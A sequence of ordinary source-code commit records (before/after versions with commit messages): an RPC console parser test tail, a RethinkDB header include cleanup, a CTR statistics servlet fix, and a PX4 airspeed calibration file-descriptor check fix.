// do the QVERIFY_EXCEPTION_THROWN checks only with Qt5.3 and higher (QVERIFY_EXCEPTION_THROWN was introduced in Qt5.3)
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() .\n"), std::runtime_error); //invalid syntax
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() getblockchaininfo()"), std::runtime_error); //invalid syntax
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(")); //tolerate non closing brackets if we have no arguments
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()()()")); //tolerate non command brackts
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(True)"), UniValue); //invalid argument
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "a(getblockchaininfo(True))"), UniValue); //method not found
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc,,abc"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,abc)"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,)"), std::runtime_error); //don't tollerate empty arguments when using ,
#endif
delete pcoinsTip;
delete pcoinsdbview;
delete pblocktree;
boost::filesystem::remove_all(boost::filesystem::path(path));
}
<|endoftext|> |
<commit_before>// Copyright 2010-2013 RethinkDB, all rights reserved.
#ifndef RDB_PROTOCOL_PB_SERVER_HPP_
#define RDB_PROTOCOL_PB_SERVER_HPP_
#include <map>
#include <set>
#include <string>
#include "clustering/administration/metadata.hpp"
#include "clustering/administration/namespace_interface_repository.hpp"
#include "clustering/administration/namespace_metadata.hpp"
#include "protob/protob.hpp"
#include "protocol_api.hpp"
#include "rdb_protocol/protocol.hpp"
#include "rdb_protocol/ql2.hpp"
#include "rdb_protocol/stream_cache.hpp"
namespace ql { template <class> class protob_t; }
// Overloads used by protob_server_t.
void make_empty_protob_bearer(ql::protob_t<Query> *request);
Query *underlying_protob_value(ql::protob_t<Query> *request);
class query2_server_t {
public:
query2_server_t(const std::set<ip_address_t> &local_addresses, int port,
rdb_protocol_t::context_t *_ctx);
http_app_t *get_http_app();
int get_port() const;
struct context_t {
context_t() : interruptor(0) { }
static const int32_t no_auth_magic_number = VersionDummy::V0_1;
static const int32_t auth_magic_number = VersionDummy::V0_2;
ql::stream_cache2_t stream_cache2;
signal_t *interruptor;
};
private:
MUST_USE bool handle(ql::protob_t<Query> q,
Response *response_out,
context_t *query2_context);
protob_server_t<ql::protob_t<Query>, Response, context_t> server;
rdb_protocol_t::context_t *ctx;
uuid_u parser_id;
one_per_thread_t<int> thread_counters;
DISABLE_COPYING(query2_server_t);
};
#endif /* RDB_PROTOCOL_PB_SERVER_HPP_ */
<commit_msg>Removed metadata inclusions from pb_server.hpp.<commit_after>// Copyright 2010-2013 RethinkDB, all rights reserved.
#ifndef RDB_PROTOCOL_PB_SERVER_HPP_
#define RDB_PROTOCOL_PB_SERVER_HPP_
#include <map>
#include <set>
#include <string>
#include "protob/protob.hpp"
#include "protocol_api.hpp"
#include "rdb_protocol/protocol.hpp"
#include "rdb_protocol/ql2.hpp"
#include "rdb_protocol/stream_cache.hpp"
namespace ql { template <class> class protob_t; }
// Overloads used by protob_server_t.
void make_empty_protob_bearer(ql::protob_t<Query> *request);
Query *underlying_protob_value(ql::protob_t<Query> *request);
class query2_server_t {
public:
query2_server_t(const std::set<ip_address_t> &local_addresses, int port,
rdb_protocol_t::context_t *_ctx);
http_app_t *get_http_app();
int get_port() const;
struct context_t {
context_t() : interruptor(0) { }
static const int32_t no_auth_magic_number = VersionDummy::V0_1;
static const int32_t auth_magic_number = VersionDummy::V0_2;
ql::stream_cache2_t stream_cache2;
signal_t *interruptor;
};
private:
MUST_USE bool handle(ql::protob_t<Query> q,
Response *response_out,
context_t *query2_context);
protob_server_t<ql::protob_t<Query>, Response, context_t> server;
rdb_protocol_t::context_t *ctx;
uuid_u parser_id;
one_per_thread_t<int> thread_counters;
DISABLE_COPYING(query2_server_t);
};
#endif /* RDB_PROTOCOL_PB_SERVER_HPP_ */
<|endoftext|> |
<commit_before>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "CTRStatsServlet.h"
#include "CTRCounter.h"
#include "fnord-base/Language.h"
#include "fnord-base/wallclock.h"
#include "fnord-base/io/fileutil.h"
#include "fnord-sstable/sstablereader.h"
#include "fnord-sstable/SSTableScan.h"
using namespace fnord;
namespace cm {
CTRStatsServlet::CTRStatsServlet(VFS* vfs) : vfs_(vfs) {}
void CTRStatsServlet::handleHTTPRequest(
http::HTTPRequest* req,
http::HTTPResponse* res) {
URI uri(req->uri());
const auto& params = uri.queryParams();
Set<String> test_groups;
Set<String> device_types;
Set<String> pages;
auto end_time = WallClock::unixMicros();
auto start_time = end_time - 30 * kMicrosPerDay;
/* arguments */
String customer;
if (!URI::getParam(params, "customer", &customer)) {
res->addBody("error: missing ?customer=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
String lang_str;
if (!URI::getParam(params, "lang", &lang_str)) {
res->addBody("error: missing ?lang=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
for (const auto& p : params) {
if (p.first == "from") {
start_time = std::stoul(p.second) * kMicrosPerSecond;
continue;
}
if (p.first == "until") {
end_time = std::stoul(p.second) * kMicrosPerSecond;
continue;
}
if (p.first == "test_group") {
test_groups.emplace(p.second);
continue;
}
if (p.first == "device_type") {
device_types.emplace(p.second);
continue;
}
if (p.first == "page_type") {
pages.emplace(p.second);
continue;
}
}
if (test_groups.size() == 0) {
test_groups.emplace("all");
}
if (device_types.size() == 0) {
device_types = Set<String> { "unknown", "desktop", "tablet", "phone" };
}
/* prepare prefix filters for scanning */
String scan_common_prefix = lang_str + "~";
if (test_groups.size() == 1) {
scan_common_prefix += *test_groups.begin() + "~";
if (device_types.size() == 1) {
scan_common_prefix += *device_types.begin() + "~";
if (pages.size() == 1) {
scan_common_prefix += *pages.begin();
}
}
}
/* scan input tables */
HashMap<uint64_t, CTRCounterData> counters;
CTRCounterData aggr_counter;
for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerDay) {
auto tbl = StringUtil::format(
"$0_ctr_stats_daily.$1.sstable",
customer,
i / kMicrosPerDay);
if (!vfs_->exists(tbl)) {
continue;
}
sstable::SSTableReader reader(vfs_->openFile(tbl));
if (reader.bodySize() == 0 || reader.isFinalized() == 0) {
continue;
}
sstable::SSTableScan scan;
scan.setKeyPrefix(scan_common_prefix);
auto& ctr_ref = counters[i];
auto cursor = reader.getCursor();
scan.execute(cursor.get(), [&] (const Vector<String> row) {
if (row.size() != 2) {
RAISEF(kRuntimeError, "invalid row length: $0", row.size());
}
auto dims = StringUtil::split(row[0], "~");
if (dims.size() != 4) {
RAISEF(kRuntimeError, "invalid row key: $0", row[0]);
}
if (dims[0] != lang_str) {
return;
}
if (test_groups.count(dims[1]) == 0) {
return;
}
if (device_types.count(dims[2]) == 0) {
return;
}
if (pages.size() > 0 && pages.count(dims[3]) == 0) {
return;
}
auto counter = CTRCounterData::load(row[1]);
ctr_ref.merge(counter);
aggr_counter.merge(counter);
});
}
/* write response */
res->setStatus(http::kStatusOK);
res->addHeader("Content-Type", "application/json; charset=utf-8");
json::JSONOutputStream json(res->getBodyOutputStream());
json.beginObject();
json.addObjectEntry("aggregate");
json.beginObject();
json.addObjectEntry("views");
json.addInteger(aggr_counter.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(aggr_counter.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(aggr_counter.num_clicks / (double) aggr_counter.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(aggr_counter.num_clicked / (double) aggr_counter.num_views);
json.endObject();
json.addComma();
json.addObjectEntry("timeseries");
json.beginArray();
int n = 0;
for (const auto& c : counters) {
if (++n > 1) {
json.addComma();
}
json.beginObject();
json.addObjectEntry("time");
json.addInteger(c.first);
json.addComma();
json.addObjectEntry("views");
json.addInteger(c.second.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(c.second.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(c.second.num_clicks / (double) c.second.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(c.second.num_clicked / (double) c.second.num_views);
json.endObject();
}
json.endArray();
json.endObject();
}
}
<commit_msg>return all requested day counters<commit_after>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "CTRStatsServlet.h"
#include "CTRCounter.h"
#include "fnord-base/Language.h"
#include "fnord-base/wallclock.h"
#include "fnord-base/io/fileutil.h"
#include "fnord-sstable/sstablereader.h"
#include "fnord-sstable/SSTableScan.h"
using namespace fnord;
namespace cm {
CTRStatsServlet::CTRStatsServlet(VFS* vfs) : vfs_(vfs) {}
void CTRStatsServlet::handleHTTPRequest(
http::HTTPRequest* req,
http::HTTPResponse* res) {
URI uri(req->uri());
const auto& params = uri.queryParams();
Set<String> test_groups;
Set<String> device_types;
Set<String> pages;
auto end_time = WallClock::unixMicros();
auto start_time = end_time - 30 * kMicrosPerDay;
/* arguments */
String customer;
if (!URI::getParam(params, "customer", &customer)) {
res->addBody("error: missing ?customer=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
String lang_str;
if (!URI::getParam(params, "lang", &lang_str)) {
res->addBody("error: missing ?lang=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
for (const auto& p : params) {
if (p.first == "from") {
start_time = std::stoul(p.second) * kMicrosPerSecond;
continue;
}
if (p.first == "until") {
end_time = std::stoul(p.second) * kMicrosPerSecond;
continue;
}
if (p.first == "test_group") {
test_groups.emplace(p.second);
continue;
}
if (p.first == "device_type") {
device_types.emplace(p.second);
continue;
}
if (p.first == "page_type") {
pages.emplace(p.second);
continue;
}
}
if (test_groups.size() == 0) {
test_groups.emplace("all");
}
if (device_types.size() == 0) {
device_types = Set<String> { "unknown", "desktop", "tablet", "phone" };
}
/* prepare prefix filters for scanning */
String scan_common_prefix = lang_str + "~";
if (test_groups.size() == 1) {
scan_common_prefix += *test_groups.begin() + "~";
if (device_types.size() == 1) {
scan_common_prefix += *device_types.begin() + "~";
if (pages.size() == 1) {
scan_common_prefix += *pages.begin();
}
}
}
/* scan input tables */
HashMap<uint64_t, CTRCounterData> counters;
CTRCounterData aggr_counter;
for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerDay) {
auto& ctr_ref = counters[i];
auto tbl = StringUtil::format(
"$0_ctr_stats_daily.$1.sstable",
customer,
i / kMicrosPerDay);
if (!vfs_->exists(tbl)) {
continue;
}
sstable::SSTableReader reader(vfs_->openFile(tbl));
if (reader.bodySize() == 0 || reader.isFinalized() == 0) {
continue;
}
sstable::SSTableScan scan;
scan.setKeyPrefix(scan_common_prefix);
auto cursor = reader.getCursor();
scan.execute(cursor.get(), [&] (const Vector<String> row) {
if (row.size() != 2) {
RAISEF(kRuntimeError, "invalid row length: $0", row.size());
}
auto dims = StringUtil::split(row[0], "~");
if (dims.size() != 4) {
RAISEF(kRuntimeError, "invalid row key: $0", row[0]);
}
if (dims[0] != lang_str) {
return;
}
if (test_groups.count(dims[1]) == 0) {
return;
}
if (device_types.count(dims[2]) == 0) {
return;
}
if (pages.size() > 0 && pages.count(dims[3]) == 0) {
return;
}
auto counter = CTRCounterData::load(row[1]);
ctr_ref.merge(counter);
aggr_counter.merge(counter);
});
}
/* write response */
res->setStatus(http::kStatusOK);
res->addHeader("Content-Type", "application/json; charset=utf-8");
json::JSONOutputStream json(res->getBodyOutputStream());
json.beginObject();
json.addObjectEntry("aggregate");
json.beginObject();
json.addObjectEntry("views");
json.addInteger(aggr_counter.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(aggr_counter.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(aggr_counter.num_clicks / (double) aggr_counter.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(aggr_counter.num_clicked / (double) aggr_counter.num_views);
json.endObject();
json.addComma();
json.addObjectEntry("timeseries");
json.beginArray();
int n = 0;
for (const auto& c : counters) {
if (++n > 1) {
json.addComma();
}
json.beginObject();
json.addObjectEntry("time");
json.addInteger(c.first);
json.addComma();
json.addObjectEntry("views");
json.addInteger(c.second.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(c.second.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(c.second.num_clicks / (double) c.second.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(c.second.num_clicked / (double) c.second.num_views);
json.endObject();
}
json.endArray();
json.endObject();
}
}
<|endoftext|> |
<commit_before>/****************************************************************************
*
* Copyright (c) 2013-2016 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file airspeed_calibration.cpp
* Airspeed sensor calibration routine
*/
#include "airspeed_calibration.h"
#include "calibration_messages.h"
#include "calibration_routines.h"
#include "commander_helper.h"
#include <px4_platform_common/defines.h>
#include <px4_platform_common/posix.h>
#include <px4_platform_common/time.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <math.h>
#include <drivers/drv_hrt.h>
#include <drivers/drv_airspeed.h>
#include <uORB/topics/differential_pressure.h>
#include <systemlib/mavlink_log.h>
#include <parameters/param.h>
#include <systemlib/err.h>
static const char *sensor_name = "airspeed";
static void feedback_calibration_failed(orb_advert_t *mavlink_log_pub)
{
px4_sleep(5);
calibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, sensor_name);
}
int do_airspeed_calibration(orb_advert_t *mavlink_log_pub)
{
int result = PX4_OK;
unsigned calibration_counter = 0;
const unsigned maxcount = 2400;
/* give directions */
calibration_log_info(mavlink_log_pub, CAL_QGC_STARTED_MSG, sensor_name);
const unsigned calibration_count = (maxcount * 2) / 3;
int diff_pres_sub = orb_subscribe(ORB_ID(differential_pressure));
struct differential_pressure_s diff_pres;
float diff_pres_offset = 0.0f;
/* Reset sensor parameters */
struct airspeed_scale airscale = {
diff_pres_offset,
1.0f,
};
bool paramreset_successful = false;
int fd = px4_open(AIRSPEED0_DEVICE_PATH, 0);
if (fd > 0) {
if (PX4_OK == px4_ioctl(fd, AIRSPEEDIOCSSCALE, (long unsigned int)&airscale)) {
paramreset_successful = true;
} else {
calibration_log_critical(mavlink_log_pub, "[cal] airspeed offset zero failed");
}
px4_close(fd);
}
int cancel_sub = calibrate_cancel_subscribe();
if (!paramreset_successful) {
/* only warn if analog scaling is zero */
float analog_scaling = 0.0f;
param_get(param_find("SENS_DPRES_ANSC"), &(analog_scaling));
if (fabsf(analog_scaling) < 0.1f) {
calibration_log_critical(mavlink_log_pub, "[cal] No airspeed sensor found");
goto error_return;
}
/* set scaling offset parameter */
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
}
calibration_log_critical(mavlink_log_pub, "[cal] Ensure sensor is not measuring wind");
px4_usleep(500 * 1000);
while (calibration_counter < calibration_count) {
if (calibrate_cancel_check(mavlink_log_pub, cancel_sub)) {
goto error_return;
}
/* wait blocking for new data */
px4_pollfd_struct_t fds[1];
fds[0].fd = diff_pres_sub;
fds[0].events = POLLIN;
int poll_ret = px4_poll(fds, 1, 1000);
if (poll_ret) {
orb_copy(ORB_ID(differential_pressure), diff_pres_sub, &diff_pres);
diff_pres_offset += diff_pres.differential_pressure_raw_pa;
calibration_counter++;
/* any differential pressure failure a reason to abort */
if (diff_pres.error_count != 0) {
calibration_log_critical(mavlink_log_pub, "[cal] Airspeed sensor is reporting errors (%" PRIu64 ")",
diff_pres.error_count);
calibration_log_critical(mavlink_log_pub, "[cal] Check wiring, reboot vehicle, and try again");
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
if (calibration_counter % (calibration_count / 20) == 0) {
calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, (calibration_counter * 80) / calibration_count);
}
} else if (poll_ret == 0) {
/* any poll failure for 1s is a reason to abort */
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
diff_pres_offset = diff_pres_offset / calibration_count;
if (PX4_ISFINITE(diff_pres_offset)) {
int fd_scale = px4_open(AIRSPEED0_DEVICE_PATH, 0);
airscale.offset_pa = diff_pres_offset;
if (fd_scale > 0) {
if (PX4_OK != px4_ioctl(fd_scale, AIRSPEEDIOCSSCALE, (long unsigned int)&airscale)) {
calibration_log_critical(mavlink_log_pub, "[cal] airspeed offset update failed");
}
px4_close(fd_scale);
}
// Prevent a completely zero param
// since this is used to detect a missing calibration
// This value is numerically down in the noise and has
// no effect on the sensor performance.
if (fabsf(diff_pres_offset) < 0.00000001f) {
diff_pres_offset = 0.00000001f;
}
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
} else {
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
calibration_log_info(mavlink_log_pub, "[cal] Offset of %d Pascal", (int)diff_pres_offset);
/* wait 500 ms to ensure parameter propagated through the system */
px4_usleep(500 * 1000);
calibration_log_critical(mavlink_log_pub, "[cal] Blow across front of pitot without touching");
calibration_counter = 0;
/* just take a few samples and make sure pitot tubes are not reversed, timeout after ~30 seconds */
while (calibration_counter < maxcount) {
if (calibrate_cancel_check(mavlink_log_pub, cancel_sub)) {
goto error_return;
}
/* wait blocking for new data */
px4_pollfd_struct_t fds[1];
fds[0].fd = diff_pres_sub;
fds[0].events = POLLIN;
int poll_ret = px4_poll(fds, 1, 1000);
if (poll_ret) {
orb_copy(ORB_ID(differential_pressure), diff_pres_sub, &diff_pres);
if (fabsf(diff_pres.differential_pressure_filtered_pa) > 50.0f) {
if (diff_pres.differential_pressure_filtered_pa > 0) {
calibration_log_info(mavlink_log_pub, "[cal] Positive pressure: OK (%d Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
break;
} else {
/* do not allow negative values */
calibration_log_critical(mavlink_log_pub, "[cal] Negative pressure difference detected (%d Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
calibration_log_critical(mavlink_log_pub, "[cal] Swap static and dynamic ports!");
/* the user setup is wrong, wipe the calibration to force a proper re-calibration */
diff_pres_offset = 0.0f;
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
/* save */
calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, 0);
param_save_default();
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
if (calibration_counter % 500 == 0) {
calibration_log_info(mavlink_log_pub, "[cal] Create air pressure! (got %d, wanted: 50 Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
tune_neutral(true);
}
calibration_counter++;
} else if (poll_ret == 0) {
/* any poll failure for 1s is a reason to abort */
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
if (calibration_counter == maxcount) {
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, 100);
calibration_log_info(mavlink_log_pub, CAL_QGC_DONE_MSG, sensor_name);
tune_neutral(true);
/* Wait 2sec for the airflow to stop and ensure the driver filter has caught up, otherwise
* the followup preflight checks might fail. */
px4_usleep(2e6);
normal_return:
calibrate_cancel_unsubscribe(cancel_sub);
px4_close(diff_pres_sub);
// This give a chance for the log messages to go out of the queue before someone else stomps on then
px4_sleep(1);
return result;
error_return:
result = PX4_ERROR;
goto normal_return;
}
<commit_msg>airspeed_calibration: Fix FD leak<commit_after>/****************************************************************************
*
* Copyright (c) 2013-2016 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file airspeed_calibration.cpp
* Airspeed sensor calibration routine
*/
#include "airspeed_calibration.h"
#include "calibration_messages.h"
#include "calibration_routines.h"
#include "commander_helper.h"
#include <px4_platform_common/defines.h>
#include <px4_platform_common/posix.h>
#include <px4_platform_common/time.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <math.h>
#include <drivers/drv_hrt.h>
#include <drivers/drv_airspeed.h>
#include <uORB/topics/differential_pressure.h>
#include <systemlib/mavlink_log.h>
#include <parameters/param.h>
#include <systemlib/err.h>
static const char *sensor_name = "airspeed";
static void feedback_calibration_failed(orb_advert_t *mavlink_log_pub)
{
px4_sleep(5);
calibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, sensor_name);
}
int do_airspeed_calibration(orb_advert_t *mavlink_log_pub)
{
int result = PX4_OK;
unsigned calibration_counter = 0;
const unsigned maxcount = 2400;
/* give directions */
calibration_log_info(mavlink_log_pub, CAL_QGC_STARTED_MSG, sensor_name);
const unsigned calibration_count = (maxcount * 2) / 3;
int diff_pres_sub = orb_subscribe(ORB_ID(differential_pressure));
struct differential_pressure_s diff_pres;
float diff_pres_offset = 0.0f;
/* Reset sensor parameters */
struct airspeed_scale airscale = {
diff_pres_offset,
1.0f,
};
bool paramreset_successful = false;
int fd = px4_open(AIRSPEED0_DEVICE_PATH, 0);
if (fd >= 0) {
if (PX4_OK == px4_ioctl(fd, AIRSPEEDIOCSSCALE, (long unsigned int)&airscale)) {
paramreset_successful = true;
} else {
calibration_log_critical(mavlink_log_pub, "[cal] airspeed offset zero failed");
}
px4_close(fd);
}
int cancel_sub = calibrate_cancel_subscribe();
if (!paramreset_successful) {
/* only warn if analog scaling is zero */
float analog_scaling = 0.0f;
param_get(param_find("SENS_DPRES_ANSC"), &(analog_scaling));
if (fabsf(analog_scaling) < 0.1f) {
calibration_log_critical(mavlink_log_pub, "[cal] No airspeed sensor found");
goto error_return;
}
/* set scaling offset parameter */
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
}
calibration_log_critical(mavlink_log_pub, "[cal] Ensure sensor is not measuring wind");
px4_usleep(500 * 1000);
while (calibration_counter < calibration_count) {
if (calibrate_cancel_check(mavlink_log_pub, cancel_sub)) {
goto error_return;
}
/* wait blocking for new data */
px4_pollfd_struct_t fds[1];
fds[0].fd = diff_pres_sub;
fds[0].events = POLLIN;
int poll_ret = px4_poll(fds, 1, 1000);
if (poll_ret) {
orb_copy(ORB_ID(differential_pressure), diff_pres_sub, &diff_pres);
diff_pres_offset += diff_pres.differential_pressure_raw_pa;
calibration_counter++;
/* any differential pressure failure a reason to abort */
if (diff_pres.error_count != 0) {
calibration_log_critical(mavlink_log_pub, "[cal] Airspeed sensor is reporting errors (%" PRIu64 ")",
diff_pres.error_count);
calibration_log_critical(mavlink_log_pub, "[cal] Check wiring, reboot vehicle, and try again");
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
if (calibration_counter % (calibration_count / 20) == 0) {
calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, (calibration_counter * 80) / calibration_count);
}
} else if (poll_ret == 0) {
/* any poll failure for 1s is a reason to abort */
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
diff_pres_offset = diff_pres_offset / calibration_count;
if (PX4_ISFINITE(diff_pres_offset)) {
int fd_scale = px4_open(AIRSPEED0_DEVICE_PATH, 0);
airscale.offset_pa = diff_pres_offset;
if (fd_scale >= 0) {
if (PX4_OK != px4_ioctl(fd_scale, AIRSPEEDIOCSSCALE, (long unsigned int)&airscale)) {
calibration_log_critical(mavlink_log_pub, "[cal] airspeed offset update failed");
}
px4_close(fd_scale);
}
// Prevent a completely zero param
// since this is used to detect a missing calibration
// This value is numerically down in the noise and has
// no effect on the sensor performance.
if (fabsf(diff_pres_offset) < 0.00000001f) {
diff_pres_offset = 0.00000001f;
}
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
} else {
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
calibration_log_info(mavlink_log_pub, "[cal] Offset of %d Pascal", (int)diff_pres_offset);
/* wait 500 ms to ensure parameter propagated through the system */
px4_usleep(500 * 1000);
calibration_log_critical(mavlink_log_pub, "[cal] Blow across front of pitot without touching");
calibration_counter = 0;
/* just take a few samples and make sure pitot tubes are not reversed, timeout after ~30 seconds */
while (calibration_counter < maxcount) {
if (calibrate_cancel_check(mavlink_log_pub, cancel_sub)) {
goto error_return;
}
/* wait blocking for new data */
px4_pollfd_struct_t fds[1];
fds[0].fd = diff_pres_sub;
fds[0].events = POLLIN;
int poll_ret = px4_poll(fds, 1, 1000);
if (poll_ret) {
orb_copy(ORB_ID(differential_pressure), diff_pres_sub, &diff_pres);
if (fabsf(diff_pres.differential_pressure_filtered_pa) > 50.0f) {
if (diff_pres.differential_pressure_filtered_pa > 0) {
calibration_log_info(mavlink_log_pub, "[cal] Positive pressure: OK (%d Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
break;
} else {
/* do not allow negative values */
calibration_log_critical(mavlink_log_pub, "[cal] Negative pressure difference detected (%d Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
calibration_log_critical(mavlink_log_pub, "[cal] Swap static and dynamic ports!");
/* the user setup is wrong, wipe the calibration to force a proper re-calibration */
diff_pres_offset = 0.0f;
if (param_set(param_find("SENS_DPRES_OFF"), &(diff_pres_offset))) {
calibration_log_critical(mavlink_log_pub, CAL_ERROR_SET_PARAMS_MSG);
goto error_return;
}
/* save */
calibration_log_info(mavlink_log_pub, CAL_QGC_PROGRESS_MSG, 0);
param_save_default();
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
if (calibration_counter % 500 == 0) {
calibration_log_info(mavlink_log_pub, "[cal] Create air pressure! (got %d, wanted: 50 Pa)",
(int)diff_pres.differential_pressure_filtered_pa);
tune_neutral(true);
}
calibration_counter++;
} else if (poll_ret == 0) {
/* any poll failure for 1s is a reason to abort */
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
}
if (calibration_counter == maxcount) {
feedback_calibration_failed(mavlink_log_pub);
goto error_return;
}
